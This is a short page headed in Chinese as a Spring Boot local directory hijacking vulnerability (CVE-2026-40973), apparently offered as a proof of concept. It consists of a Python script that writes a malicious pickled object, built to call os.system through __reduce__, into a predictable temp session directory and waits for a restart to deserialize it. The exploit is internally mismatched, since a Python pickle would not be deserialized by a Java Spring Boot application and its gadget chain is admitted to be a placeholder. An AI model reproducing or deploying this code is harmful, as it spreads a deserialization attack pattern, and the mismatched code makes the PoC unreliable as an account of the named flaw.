CVE-2026-40973 Spring Boot本地目录劫持漏洞

import os import pickle # Simulating the attacker creating a malicious session file # in the predictable ApplicationTemp directory. # Path prediction (simplified for PoC) temp_dir = "/tmp/spring-boot-session-dir" malicious_file = os.path.join(temp_dir, "session-123.ser") # Ensure directory exists (controlled by attacker) os.makedirs(temp_dir, exist_ok=True) # Malicious payload (Gadget chain placeholder) class MaliciousPayload: def __reduce__(self): # Simulate command execution return (os.system, ('touch /tmp/pwned',)) # Serialize the payload with open(malicious_file, 'wb') as f: pickle.dump(MaliciousPayload(), f) print(f"[+] Malicious session file created at {malicious_file}") print("[+] Waiting for application restart to trigger deserialization...")